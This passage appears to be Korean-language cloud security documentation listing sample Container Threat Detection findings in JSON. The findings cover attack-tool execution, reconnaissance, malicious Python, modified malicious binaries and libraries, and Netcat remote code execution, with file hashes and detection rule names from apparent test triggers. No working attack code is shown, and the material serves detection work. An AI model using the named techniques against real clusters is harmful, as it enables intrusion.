            "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"LANG\"",
            "val": "\"C.UTF-8\""
          },
          {
            "name": "\"PYTHON_VERSION\"",
            "val": "\"3.12.6\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/\""
          }
        ],
        "pid": "9",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "SEVERITY_UNSPECIFIED",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_kubernetes_attack_tool_execution"
    },
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1729291973",
            "nanos": 687426149
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/techniques/T1588/002/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal File Link",
          "url": "https://www.virustotal.com/gui/file/21225e29b4225a4eca16996445e243fdab8051a0ad4bc232b907ef5e9b67f66b/detection"
        }
      ],
      "relatedFindingUri": {}
    }
  },
}

실행: 로컬 정찰 도구 실행

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Execution: Local Reconnaissance Tool Execution",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "1970-01-01T00:00:00Z"
      }
    ],
    "createTime": "2024-10-21T19:08:35.255Z",
    "database": {},
    "eventTime": "2024-10-21T19:08:35.091Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "1970-01-01T00:00:00Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
        "cloudLoggingEntry": {
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": "2024-10-21T19:07:41.503072537Z"
        }
      }
    ],
    "mitreAttack": {
      "primaryTactic": "RECONNAISSANCE",
      "primaryTechniques": [
        "ACTIVE_SCANNING"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "INTERPRETER",
          "size": "147176",
          "sha256": "INTERPRETER_SHA_256",
          "hashedSize": "147176",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "INTERPRETER",
          "ARG"
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-local-reconn-suspicious-tool-90e2e63d67bbc483\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"GPG_KEY\"",
            "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"LANG\"",
            "val": "\"C.UTF-8\""
          },
          {
            "name": "\"PYTHON_VERSION\"",
            "val": "\"3.12.6\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/\""
          }
        ],
        "pid": "9",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "SEVERITY_UNSPECIFIED",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_local_reconnaissance_tool_execution"
    },
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1729291973",
            "nanos": 687426149
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/techniques/T1595/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal File Link",
          "url": "https://www.virustotal.com/gui/file/21225e29b4225a4eca16996445e243fdab8051a0ad4bc232b907ef5e9b67f66b/detection"
        }
      ],
      "relatedFindingUri": {}
    }
  },
}

실행: 악성 Python 실행됨

{
  "finding": {
    "canonicalName": "projects/PROJECT_ID/sources/SOURCE_ID/locations/global/findings/FINDING_ID",
    "category": "Execution: Malicious Python Executed",
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "2024-06-17T18:50:13Z"
      }
    ],
    "createTime": "2024-06-17T18:50:15.454Z",
    "description": "A machine learning model using Natural Language Processing  techniques identified an executed python script as malicious.",
    "eventTime": "2024-06-17T18:50:15.217Z",
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "2024-06-17T18:50:13Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "mitreAttack": {
      "primaryTactic": "EXECUTION",
      "primaryTechniques": [
        "COMMAND_AND_SCRIPTING_INTERPRETER",
        "PYTHON"
      ],
      "additionalTactics": [
        "COMMAND_AND_CONTROL"
      ],
      "additionalTechniques": [
        "INGRESS_TOOL_TRANSFER"
      ]
    },
    "mute": "UNDEFINED",
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "INTERPRETER",
          "size": "3492656",
          "sha256": "INTERPRETER_SHA_256",
          "hashedSize": "3492656",
          "partiallyHashed": false,
        },
        "script": {
          "path": "FILENAME",
          "size": "4191",
          "sha256": "SHA_256",
          "hashedSize": "4096",
          "partiallyHashed": true,
          "contents": "\"#!/usr/bin/env python\\n\\nimport uuid\\nimport subprocess\\nimport os\\nimport sys\\nsys.exit(0)…",
        },
        "args": [
          "INTERPRETER",
          "FILENAME"
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"HOSTNAME\"",
            "val": "\"CONTAINER_NAME\""
          },
        ],
        "pid": "7",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "severity": "CRITICAL",
    "state": "ACTIVE",
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "Process_Arguments": [
      "INTERPRETER",
      "FILENAME"
    ],
    "VM_Instance_Name": "INSTANCE_ID",
    "Process_Binary_Fullpath": {
        "primitiveDataType": "STRING"
      },
    "description": "A machine learning model using Natural Language Processing techniques identified an executed python script as malicious.",
    "Container_Creation_Timestamp": {
      "seconds": 1718650213,
      "nanos": 0
    },
    "Pod_Name": "CONTAINER_NAME",
    "Container_Image_Uri": "CONTAINER_IMAGE_URI",
    "Container_Image_Id": "CONTAINER_IMAGE_ID",
    "Parent_Pid": 1,
    "Container_Name": "CONTAINER_NAME",
    "Pid": 7,
    "Process_Creation_Timestamp": {
      "seconds": 1718650213,
      "nanos": 762524370
    },
    "Environment_Variables": [
    ],
    "Pod_Namespace": "default"
  }
}

실행: 수정된 악성 바이너리 실행됨

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"
    "category": "Execution: Modified Malicious Binary Executed",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_URI",
        "imageId": "CONTAINER_IMAGE_ID"
      }
    ],
    "createTime": "2023-11-13T21:38:51.893Z",
    "database": {},
    "eventTime": "2023-11-13T21:38:51.525Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "default",
          "containers": [
                {
                  "name": "CONTAINER_NAME",
                  "uri": "CONTAINER_URI",
                  "imageId": CONTAINER_IMAGE_ID"
                }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE"
        }
      ]
    },
    "mitreAttack": {
      "primaryTactic": "COMMAND_AND_CONTROL",
      "primaryTechniques": [
        "INGRESS_TOOL_TRANSFER"
      ]
    },
    "mute": "UNDEFINED",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "\"/malicious_files/file_to_be_modified\"",
          "size": "68",
          "sha256": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f",
          "hashedSize": "68",
          "partiallyHashed": false
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false
        },
        "args": [
          "\"/malicious_files/file_to_be_modified\"",
          "\"modified-malicious-binary-da2a7b72e6008bc3\""
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://10.77.124.129:443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-modified-malicious-binary\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"10.77.124.129\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"DEBIAN_FRONTEND\"",
            "val": "\"noninteractive\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://10.77.124.129:443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"10.77.124.129\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/malicious_files\""
          }
        ],
        "pid": "8",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "CRITICAL",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",
    "display_name": "CLUSTER_ID",
    "project_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "project_display_name": "PROJECT_ID",
    "parent_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "parent_display_name": "PROJECT_ID",
    "type": "google.container.Cluster",
    "folders": []
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "modified_malicious_binary_executed"
    },
    "detectionPriority": "CRITICAL",
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1699905066",
            "nanos": 618571329
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/techniques/T1105/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal IP Link",
          "url": "https://www.virustotal.com/gui/file/275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f/detection"
        }
      ],
      "cloudLoggingQueryUri": [
        {
          "displayName": "Cloud Logging Query Link",
          "url": "https://console.cloud.google.com/logs/query;query=timestamp%3D%222023-11-13T21:38:39.084524438Z%22%0AinsertId%3D%22%22?project=PROJECT_NUMBER"
        }
      ],
      "relatedFindingUri": {}
    }
  }
}

실행: 수정된 악성 라이브러리가 로드됨

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"
    "category": "Execution: Modified Malicious Library Loaded",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_URI",
        "imageId": "CONTAINER_IMAGE_ID"
      }
    ],
    "createTime": "2023-11-13T21:38:55.271Z",
    "database": {},
    "eventTime": "2023-11-13T21:38:55.133Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "default",
          "containers": [
                {
                  "name": "CONTAINER_NAME",
                  "uri": "CONTAINER_URI",
                  "imageId": CONTAINER_IMAGE_ID"
                }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE"
        }
      ]
    },
    "mitreAttack": {
      "primaryTactic": "COMMAND_AND_CONTROL",
      "primaryTechniques": [
        "INGRESS_TOOL_TRANSFER"
      ]
    },
    "mute": "UNDEFINED",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "\"/malicious_files/drop_mal_lib\"",
          "size": "5005064",
          "sha256": "fe2e70de9f77047d3bf5debe3135811300c9c69b937b7fd3e2ca8451a942d5fb",
          "hashedSize": "5005064",
          "partiallyHashed": false
        },
        "libraries": [
          {
            "path": "\"/malicious_files/file_to_be_modified\"",
            "size": "68",
            "sha256": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f",
            "hashedSize": "68",
            "partiallyHashed": false
          }
        ],
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false
        },
        "args": [
          "\"/malicious_files/drop_mal_lib\"",
          "\"/malicious_files/file_to_be_modified\"",
          "\"/tmp/modified-malicious-library-430bbedd7049b0d1\""
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://10.77.124.129:443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-modified-malicious-library\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"10.77.124.129\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"DEBIAN_FRONTEND\"",
            "val": "\"noninteractive\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://10.77.124.129:443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"10.77.124.129\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/malicious_files\""
          }
        ],
        "pid": "8",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "CRITICAL",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",
    "display_name": "CLUSTER_ID",
    "project_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "project_display_name": "PROJECT_ID",
    "parent_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "parent_display_name": "PROJECT_ID",
    "type": "google.container.Cluster",
    "folders": []
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "modified_malicious_library_loaded"
    },
    "detectionPriority": "CRITICAL",
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1699911519",
            "nanos": 124151422
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/techniques/T1105/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal IP Link",
          "url": "https://www.virustotal.com/gui/file/275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f/detection"
        }
      ],
      "cloudLoggingQueryUri": [
        {
          "displayName": "Cloud Logging Query Link",
          "url": "https://console.cloud.google.com/logs/query;query=timestamp%3D%222023-11-13T21:38:39.124151422Z%22%0AinsertId%3D%22%22?project=PROJECT_NUMBER"
        }
      ],
      "relatedFindingUri": {}
    }
  }
}

실행: 컨테이너에서 Netcat 원격 코드 실행

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Execution: Netcat Remote Code Execution in Container",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "2024-06-17T18:50:13Z"
      }
    ],
    "createTime": "2025-01-21T19:55:22.017Z",
    "database": {},
    "eventTime": "2025-01-21T19:55:21.762Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "2025-01-21T19:55:19Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
        "cloudLoggingEntry": {
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": "2025-01-21T19:55:19.654640277Z"
        }
      }
    ],
    "mitreAttack": {},
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "mitreAttack": {
      "primaryTactic": "PRIVILEGE_ESCALATION",
      "primaryTechniques": [
        "ESCAPE_TO_HOST"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "INTERPRETER",
          "size": "147176",
          "sha256": "INTERPRETER_SHA_256",
          "hashedSize": "147176",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "INTERPRETER",
          "ARG"
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-netcat-remote-code-execution-ba379a7c2168db11\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"GPG_KEY\"",
            "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"LANG\"",
            "val": "\"C.UTF-8\""
          },
          {
            "name": "\"PYTHON_VERSION\"",
            "val": "\"3.12.6\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/\""
          }
        ],
        "pid": "9",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "LOW",
    "state": "ACTIVE",
